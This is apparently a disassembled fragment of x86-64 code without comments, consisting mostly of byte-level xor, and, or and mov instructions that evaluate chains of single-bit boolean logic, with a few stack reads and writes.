xor bl, 1
or bl, dl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and r10b, r8b
or r10b, r9b
mov ebp, r10d
xor bpl, 1
mov ecx, ebp
xor cl, r10b
or bpl, r10b
xor bpl, 1
or bpl, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r9d, eax
xor r9b, cl
or cl, al
xor cl, 1
or cl, r9b
or bl, al
mov r9d, ecx
xor r9b, 1
mov eax, r9d
xor al, bl
xor al, 1
or bl, r9b
mov r10d, ebx
xor r10b, al
or bl, al
xor bl, 1
or bl, r10b
mov eax, ebp
xor al, 1
mov edx, ebp
or dl, al
mov r10d, edx
xor r10b, 1
and r10b, al
mov r12d, ecx
xor r12b, al
and r12b, cl
and cl, al
or al, dl
and dl, bpl
or dl, r10b
xor al, 1
mov r10d, eax
and r10b, dl
xor dl, al
or dl, r10b
mov eax, ebx
xor al, dl
and dl, al
and al, bl
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
and r9b, bpl
or cl, r9b
mov edx, r12d
xor dl, 1
xor r12b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r12b
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r9d, ecx
xor r9b, 1
mov eax, r9d
and al, cl
mov edx, r9d
xor dl, al
xor al, 1
mov ebx, ecx
or bl, al
xor bl, 1
or dl, bl
xor al, cl
or al, bl
mov ebx, eax
and al, cl
or cl, r9b
xor cl, dl
and dl, cl
mov r10d, edx
xor r10b, cl
xor dl, 1
or dl, cl
xor r10b, 1
xor dl, 1
or dl, r10b
xor bl, 1
and r9b, bl
or al, r9b
xor bl, al
and bl, al
mov r10d, edx
xor r10b, 1
mov r9d, r10d
xor r9b, bl
mov r12d, r9d
xor r12b, r10b
and r12b, r9b
mov r9d, ebx
xor r9b, 1
mov ebp, ebx
and bpl, r9b
mov eax, ebp
xor bpl, bl
xor al, 1
or al, r9b
xor al, 1
or al, bpl
xor al, dl
mov ebx, r12d
xor bl, 1
and bl, al
xor al, 1
mov ecx, r12d
xor cl, al
and cl, r12b
and al, r12b
or al, bl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
or bl, al
mov eax, ebx
or al, cl
xor bl, cl
xor al, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
or r10b, dl
xor r10b, 1
xor dl, r10b
mov eax, edx
xor al, 1
and al, r10b
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, eax
or cl, r9b
mov edx, ecx
xor dl, 1
and cl, r9b
and al, dl
or al, cl
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov r10d, ebx
xor r10b, 1
mov edx, eax
xor dl, 1
mov r9d, r10d
and r9b, dl
mov ecx, r10d
xor cl, dl
or cl, r9b
and dl, al
mov r9d, edx
and r9b, al
xor dl, al
or dl, r9b
and r10b, dl
xor dl, 1
and dl, bl
or dl, r10b
xor cl, 1
xor dl, cl
mov eax, edx
xor al, 1
and al, cl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ebx, eax
xor bl, 1
mov edx, eax
and dl, bl
mov r9d, ebx
and r9b, dl
mov ecx, ebx
xor cl, dl
or cl, r9b
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov r9d, edx
and r9b, bl
xor dl, bl
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
and bl, cl
mov ecx, eax
xor cl, 1
or bl, al
xor al, bl
or bl, cl
xor al, 1
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
or dl, r9b
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, bl
mov eax, ebx
and bl, dl
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, eax
and dl, bl
mov r9d, eax
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
xor cl, 1
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor dl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov r10d, eax
or r10b, cl
mov edx, r10d
xor dl, 1
mov r9d, edx
and r9b, r10b
mov ebx, r9d
xor bl, 1
xor r9b, dl
or bl, r10b
xor bl, 1
or bl, r9b
mov r9d, ebx
and r9b, cl
xor bl, 1
and bl, al
or bl, r9b
xor r10b, cl
or dl, al
xor dl, 1
or dl, r10b
mov r9d, ebx
xor r9b, dl
xor bl, 1
or bl, dl
xor r9b, 1
xor bl, 1
or bl, r9b
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, bl
or dl, al
xor cl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x33]
and cl, sil
mov edx, ecx
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, 1
mov eax, edx
movzx ecx, byte [rsp + 0x44]
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor al, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, sil
movzx ecx, byte [rsp + 0x54]
xor cl, dl
xor dl, 1
or sil, dl
mov ebx, edx
xor sil, 1
or sil, cl
mov ecx, esi
xor cl, 1
mov edx, eax
xor dl, bl
and dl, al
mov eax, edx
xor al, 1
and dl, sil
and cl, al
or cl, dl
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
xor bl, cl
xor bl, 1
xor cl, bl
xor bl, cl
xor bl, 1
and bl, cl
mov byte [rsp + 0x44], bl
mov edx, r13d
xor dl, 1
mov r9d, edx
and r9b, r13b
mov eax, edx
and al, r9b
mov ecx, edx
mov ebx, edx
xor cl, r9b
or cl, al
mov byte [rsp + 0x3f], r8b
xor dil, r8b
mov edx, edi
xor dl, 1
and dl, r8b
mov eax, edx
and al, dil
xor dl, dil
or dl, al
mov byte [rsp + 0x33], dl
mov eax, r13d
or al, bl
xor al, cl
mov byte [rsp + 0x4b], al
and al, cl
mov byte [rsp + 0x4a], al
mov eax, ecx
xor al, dl
and al, cl
mov byte [rsp + 0x4f], al
mov eax, ecx
xor cl, 1
mov byte [rsp + 0x4e], cl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, r13d
mov byte [rsp + 0x4c], r13b
and dl, al
mov byte [rsp + 0x4d], bl
and cl, bl
or cl, dl
or al, bl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, al
or dl, cl
xor dl, 1
or dl, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov r10d, r9d
xor r10b, r13b
and r10b, r9b
mov r8d, edx
xor r8b, 1
mov ecx, edx
or cl, r8b
mov r9d, ecx
xor r9b, 1
mov ebx, r8d
xor bl, cl
and r9b, dl
and cl, r8b
or cl, r9b
and bl, r8b
xor bl, 1
xor cl, 1
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
mov eax, r10d
xor al, 1
mov ebx, r10d
and bl, al
xor bl, 1
mov r9d, ebx
xor r9b, r10b
or bl, r10b
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
and bl, r9b
mov r11d, r9d
and r11b, bl
xor bl, r9b
or bl, r11b
mov r9d, ebx
and r9b, cl
xor cl, 1
xor bl, 1
and bl, cl
or bl, r9b
or r10b, dl
xor al, r8b
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor cl, al
xor al, 1
xor dl, al
or al, bl
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
mov edx, ebx
xor dl, 1
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r9d, edx
xor r9b, 1
mov ecx, edx
and cl, r9b
mov r8d, r9d
xor r8b, cl
mov eax, edx
or al, r9b
xor r9b, dl
or r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, al
and dl, cl
mov r8d, eax
and al, cl
xor cl, 1
xor r8b, 1
and r8b, cl
or al, r8b
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov ebx, r8d
or bl, al
xor bl, 1
or bl, r8b
mov ecx, ebx
xor cl, 1
mov r10d, ebx
and r10b, cl
mov edx, ebx
and dl, r10b
xor r10b, bl
or r10b, dl
mov r11d, r9d
xor r11b, 1
mov edx, r9d
and dl, r11b
mov esi, r9d
and sil, dl
xor dl, r9b
or dl, sil
or cl, bl
or r11b, r9b
mov esi, edx
xor sil, 1
mov r9d, r10d
and r9b, cl
xor cl, 1
mov r12d, edx
xor r12b, sil
and r12b, dl
mov ebp, r10d
xor bpl, cl
mov r13d, ecx
or cl, r10b
xor dl, r10b
xor r10b, 1
and r13b, r10b
or r13b, r9b
xor cl, 1
or cl, bpl
xor r13b, 1
mov r9d, r13d
xor r9b, cl
or r13b, cl
xor r13b, 1
or r13b, r9b
mov r9d, r11d
xor r9b, 1
mov ecx, r12d
xor cl, 1
and r9b, cl
and r12b, r11b
or r12b, r9b
mov r9d, ecx
and r9b, r11b
xor cl, r11b
or cl, r9b
xor cl, 1
mov r9d, r12d
and r9b, cl
xor cl, r12b
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, cl
mov r9d, ebx
and r9b, cl
xor bl, cl
or bl, r9b
mov ecx, r13d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r13b
or bl, cl
or sil, r10b
xor sil, 1
mov ecx, esi
and cl, dl
xor dl, sil
or dl, cl
mov r9d, edx
xor r9b, 1
mov ecx, ebx
xor cl, 1
and r9b, cl
or cl, dl
and dl, bl
or dl, r9b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r9d, edx
xor r9b, 1
mov r10d, edx
or r10b, r9b
and dl, r10b
xor r10b, 1
mov ecx, r10d
xor cl, r9b
and cl, r10b
and r10b, r9b
or r10b, dl
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov ecx, r8d
and cl, al
mov ebx, ecx
xor bl, 1
mov r9d, eax
xor r9b, bl
or bl, al
xor bl, 1
or bl, r9b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
mov edx, ebx
xor dl, 1
mov r8d, ebx
or r8b, dl
xor cl, r8b
xor r8b, 1
mov r9d, r8d
xor r9b, al
or al, r8b
xor al, 1
or al, r9b
xor al, 1
mov r9d, ecx
and r9b, al
xor al, cl
or al, r9b
xor dl, bl
or dl, r8b
xor dl, al
mov ecx, edx
and dl, al
xor cl, 1
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov r8d, edx
xor r8b, 1
mov ebx, r8d
or bl, dl
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
mov r9d, ebx
xor r9b, al
xor al, 1
or al, cl
xor al, 1
or al, r9b
mov r9d, eax
and r9b, r8b
xor al, 1
and al, dl
or al, r9b
xor bl, dl
or cl, r8b
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
or al, dl
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
xor al, 1
xor cl, al
mov edx, ecx
xor dl, 1
and dl, al
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov r10d, ecx
and r10b, al
mov r8d, ecx
xor r8b, al
xor al, 1
or al, dl
or dl, cl
mov r9d, edx
xor r9b, 1
mov ebx, edx
and bl, r9b
xor bl, 1
mov r11d, r9d
xor r11b, bl
or bl, r9b
xor bl, 1
or bl, r11b
or r10b, r8b
xor r10b, bl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov r11d, edx
xor r11b, 1
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
xor al, 1
or al, r8b
mov edx, eax
xor dl, 1
mov r10d, edx
and r10b, al
xor dl, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, dl
mov r9d, r11d
xor r9b, 1
mov eax, r11d
and al, r9b
xor al, 1
mov r8d, r9d
xor r8b, al
or al, r9b
xor al, 1
or al, r8b
mov edx, r10d
xor dl, 1
mov ebx, edx
and bl, r10b
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor r11b, r9b
and r11b, r9b
mov r8d, ebx
xor bl, al
mov r9d, eax
xor al, 1
or r9b, al
mov ecx, r11d
and r11b, r9b
xor r9b, 1
xor cl, 1
mov esi, r9d
xor sil, cl
and sil, r9b
and cl, r9b
or cl, r11b
mov r9d, esi
and r9b, cl
xor cl, sil
or cl, r9b
or dl, r10b
xor dl, 1
mov r9d, r10d
and r9b, dl
xor dl, r10b
or dl, r9b
xor cl, 1
mov r9d, edx
xor r9b, cl
xor r9b, 1
and r9b, dl
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov eax, ebx
xor al, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor cl, 1
xor al, cl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
mov ebx, r8d
xor bl, dl
mov ecx, edx
xor cl, 1
xor r8b, cl
or dl, al
xor dl, 1
or dl, r8b
mov r8d, eax
or r8b, cl
xor r8b, 1
or bl, r8b
xor bl, cl
xor dl, 1
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
xor cl, al
or cl, r8b
mov ebx, ecx
and cl, dl
xor dl, 1
xor bl, 1
mov eax, edx
xor al, bl
and al, dl
and bl, dl
or bl, cl
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov byte [rsp + 0x54], bl
or r15b, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x32]
not cl
and cl, byte [rsp + 0x38]
xor r14b, 1
and r14b, byte [rsp + 0x50]
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
mov eax, r14d
xor al, 1
mov ecx, eax
xor al, r15b
mov edx, r15d
xor r15b, 1
and cl, r15b
and dl, r14b
or dl, cl
or r14b, r15b
xor r14b, 1
or r14b, al
xor dl, 1
mov eax, edx
xor al, r14b
or dl, r14b
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov ecx, eax
xor cl, 1
and dl, cl
or cl, bl
and al, bl
movzx r8d, byte [rsp + 0x40]
mov r11d, r8d
xor r11b, 1
xor cl, 1
or al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov byte [rsp + 0x38], al
mov edi, r11d
and dil, r8b
mov eax, edi
and al, r11b
mov ecx, edi
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
mov byte [rsp + 0x62], al
mov ebx, ecx
and bl, al
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov edx, r11d
or dl, r8b
mov byte [rsp + 0x61], dl
mov ebp, edx
xor bpl, 1
xor bl, bpl
or bpl, cl
xor cl, dl
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor al, 1
or al, sil
mov esi, eax
xor sil, 1
or sil, al
mov eax, r11d
xor al, r8b
xor r11b, al
and r11b, al
mov ecx, r11d
xor cl, 1
mov eax, ecx
and al, r11b
mov r14d, ecx
xor r14b, al
xor al, 1
or al, r11b
xor al, 1
or al, r14b
xor cl, r11b
and cl, r11b
mov r11d, esi
xor r11b, 1
mov r14d, eax
xor r14b, 1
mov edx, r11d
xor dl, sil
and dl, r11b
mov r12d, eax
or r12b, r14b
or r14b, r11b
or r11b, sil
mov r13d, r11d
xor r13b, 1
mov r15d, edx
xor r15b, 1
and dl, r11b
or r11b, r15b
and r15b, r13b
or r15b, dl
xor r11b, 1
mov edx, r11d
and dl, r15b
xor r15b, r11b
or r15b, dl
mov r13d, ecx
xor r13b, 1
mov r11d, r13d
xor r13b, r12b
mov edx, r12d
xor r12b, 1
and r11b, r12b
and dl, cl
or dl, r11b
or cl, r12b
xor cl, 1
or cl, r13b
xor dl, 1
mov r11d, edx
xor r11b, cl
or dl, cl
xor dl, 1
or dl, r11b
mov ecx, r15d
xor cl, 1
and r15b, cl
mov r11d, ecx
and r11b, r15b
xor r15b, cl
or r15b, r11b
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r11d, edx
xor r11b, cl
or cl, dl
xor cl, 1
or cl, r11b
xor cl, r15b
xor al, sil
mov edx, r14d
xor dl, al
xor al, 1
or al, r14b
xor dl, 1
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, ecx
xor dl, al
xor cl, 1
or cl, al
xor dl, 1
xor cl, 1
or cl, dl
mov r11d, ecx
xor r11b, 1
mov eax, r11d
or al, cl
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
and al, r11b
or al, dl
xor cl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
movzx r8d, byte [rsp + 0x44]
mov r14d, r8d
xor r14b, 1
mov ecx, r14d
and cl, r8b
mov r11d, r14d
and r11b, cl
xor cl, r14b
or cl, r11b
mov esi, ecx
xor sil, 1
and sil, cl
mov ecx, esi
xor cl, r14b
and cl, sil
mov edx, esi
xor dl, 1
and dl, r8b
and sil, r14b
or sil, dl
mov edx, ecx
and dl, sil
xor sil, cl
or sil, dl
mov ecx, esi
xor cl, 1
and sil, cl
xor sil, 1
mov edx, esi
xor dl, cl
or sil, cl
xor sil, 1
or sil, dl
mov edx, esi
xor dl, cl
or sil, cl
xor sil, 1
or sil, dl
mov r9d, r14d
or r9b, r8b
mov r12d, r9d
or r12b, r14b
mov r13d, r8d
mov ecx, r8d
xor r13b, r9b
mov r11d, r13d
xor r11b, 1
mov r15d, r12d
xor r15b, r11b
xor r15b, 1
or r12b, r13b
xor r12b, 1
or r12b, r15b
mov r15d, esi
xor r15b, 1
mov edx, esi
and dl, r15b
mov r8d, esi
xor r8b, dl
xor dl, 1
or dl, r15b
xor dl, 1
or dl, r8b
mov r8d, edx
and dl, r12b
xor r12b, 1
xor r8b, 1
and r8b, r12b
or dl, r8b
mov r8d, esi
or sil, r14b
xor r8b, cl
mov r14d, r8d
xor r14b, 1
xor sil, 1
or sil, r14b
xor r14b, sil
or sil, r8b
xor r14b, 1
xor sil, 1
or sil, r14b
mov r8d, esi
xor r8b, 1
and sil, r8b
mov r14d, r8d
and r14b, sil
xor sil, r8b
or sil, r14b
xor sil, 1
xor dl, 1
mov r8d, edx
or r8b, sil
xor dl, sil
xor r8b, 1
mov esi, r8d
and sil, dl
xor dl, r8b
or dl, sil
mov r8d, edx
xor r8b, 1
or r8b, dl
mov r12d, edx
xor r12b, r8b
or r8b, dl
mov edx, r8d
xor dl, r12b
xor r12b, 1
or r12b, r8b
xor dl, 1
xor r12b, 1
or r12b, dl
mov ecx, eax
xor cl, 1
mov r8d, ecx
and r8b, al
mov edx, r8d
xor dl, 1
or dl, al
mov r14d, ecx
or r14b, al
mov r10d, eax
and r10b, r14b
mov r15d, r14d
xor r14b, al
xor dl, 1
mov esi, ecx
mov byte [rsp + 0x58], cl
xor sil, r8b
or dl, sil
xor r15b, 1
mov byte [rsp + 0x50], r15b
xor dl, r15b
or r10b, r14b
mov byte [rsp + 0x32], r10b
mov eax, edx
xor al, r10b
xor dl, 1
xor al, 1
or dl, r10b
xor dl, 1
or dl, al
and r8b, cl
or r8b, sil
xor dl, 1
mov eax, r8d
xor al, dl
and r8b, al
and al, dl
mov ecx, r8d
xor cl, 1
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
movzx ecx, byte [rsp + 0x62]
xor cl, byte [rsp + 0x61]
xor bpl, 1
or bpl, cl
xor bpl, 1
mov ecx, ebx
and cl, bpl
xor bpl, bl
or bpl, cl
mov ecx, ebp
xor cl, 1
and bpl, cl
mov edx, ecx
and dl, bpl
xor bpl, cl
or bpl, dl
movzx ebx, byte [rsp + 0x40]
mov edx, ebx
and dl, dil
xor dil, bl
or dil, dl
xor dil, bpl
xor cl, dil
xor dil, cl
xor dil, 1
and dil, cl
mov r15d, r12d
xor r15b, 1
mov ecx, r12d
xor cl, r15b
and cl, r12b
mov edx, ecx
xor dl, 1
or cl, dl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
or r8b, cl
xor r8b, 1
mov ecx, edx
and cl, r8b
xor r8b, dl
or r8b, cl
or r9b, byte [rsp + 0x44]
xor r13b, r9b
or r9b, r11b
xor r13b, 1
xor r9b, 1
or r9b, r13b
mov ecx, r9d
xor cl, 1
mov ebx, ecx
and bl, r9b
mov edx, ebx
xor dl, 1
mov r11d, ebx
xor r11b, cl
or dl, r9b
xor dl, 1
or dl, r11b
mov r11d, edx
and r11b, cl
xor dl, 1
and dl, r9b
or dl, r11b
xor cl, r9b
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r11d, ecx
xor r11b, 1
mov edx, r11d
and dl, cl
mov r9d, r11d
and r9b, dl
xor dl, r11b
or dl, r9b
or r11b, cl
mov ecx, edx
xor cl, r11b
and cl, dl
mov ebx, r11d
and r11b, dl
xor dl, 1
xor bl, 1
and bl, dl
or r11b, bl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov r9d, eax
xor r9b, 1
mov edx, eax
and dl, r9b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ecx, edi
xor cl, 1
mov r13d, edi
and r13b, cl
mov ebp, edi
and bpl, r13b
xor r13b, dil
or r13b, bpl
mov ebp, edx
xor bpl, 1
mov ebx, edx
or dl, cl
mov r10d, edi
or r10b, cl
xor r10b, 1
xor r13b, r10b
mov esi, ecx
xor sil, r10b
or r10b, cl
and cl, bpl
and bl, dil
or bl, cl
xor bpl, dil
xor dl, 1
or dl, bpl
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov edx, eax
or dl, r9b
mov edi, edx
xor dil, 1
and dil, r9b
mov ecx, eax
xor cl, dl
and cl, al
and dl, al
or dl, dil
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor r10b, 1
or r10b, sil
mov eax, r13d
xor al, r10b
or r10b, r13b
xor r10b, 1
or r10b, al
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor cl, r10b
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r9d, eax
xor r9b, 1
mov r10d, eax
xor r10b, r9b
and r10b, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, r10d
xor bl, 1
and bl, dl
xor dl, 1
and dl, r10b
or dl, bl
mov ebx, r10d
xor bl, al
or al, r10b
xor al, 1
or al, bl
mov ebx, edx
xor bl, al
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
or dl, bl
mov r10d, ecx
xor r10b, 1
mov ebx, r10d
or bl, cl
mov eax, ebx
xor al, 1
mov esi, ebx
and sil, cl
and al, r10b
or al, sil
mov esi, r10d
and sil, bl
xor bl, r10b
or bl, sil
xor bl, 1
mov esi, eax
and sil, bl
xor bl, al
or bl, sil
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor al, 1
and al, dl
xor bl, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor cl, r9b
mov edx, r9d
and dl, r10b
xor r9b, r10b
or r9b, dl
mov edx, ecx
xor dl, r9b
or r9b, cl
xor r9b, 1
or r9b, dl
mov ecx, r9d
xor cl, 1
and cl, r9b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, 1
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, r8d
xor cl, 1
mov edx, r8d
and dl, cl
mov ebx, r8d
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, edx
or cl, r11b
xor cl, 1
xor dl, r11b
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, r11d
xor cl, 1
mov r9d, edx
xor r9b, cl
and r9b, dl
mov edx, ecx
and dl, r11b
xor cl, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, r9d
xor cl, 1
and r8b, cl
or cl, dl
and dl, r9b
or dl, r8b
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
mov r8d, ebx
xor r8b, 1
mov r9d, edx
xor r9b, 1
and r9b, r8b
mov ecx, ebx
and cl, dl
or cl, r9b
mov r9d, edx
xor r9b, r8b
xor cl, 1
or cl, r8b
xor r9b, 1
and r9b, dl
xor dl, bl
and dl, bl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov r11d, ecx
xor r11b, dl
xor dl, 1
or dl, cl
xor dl, 1
xor r11b, 1
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov r8d, eax
xor r8b, 1
mov ebx, eax
or bl, r8b
mov ecx, ebx
xor cl, 1
and cl, al
or al, bl
and bl, r8b
or bl, cl
xor al, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r10d, r11d
xor r10b, 1
mov r8d, r11d
and r8b, r10b
mov ecx, r8d
xor cl, 1
mov r9d, r11d
xor r9b, cl
or cl, r11b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
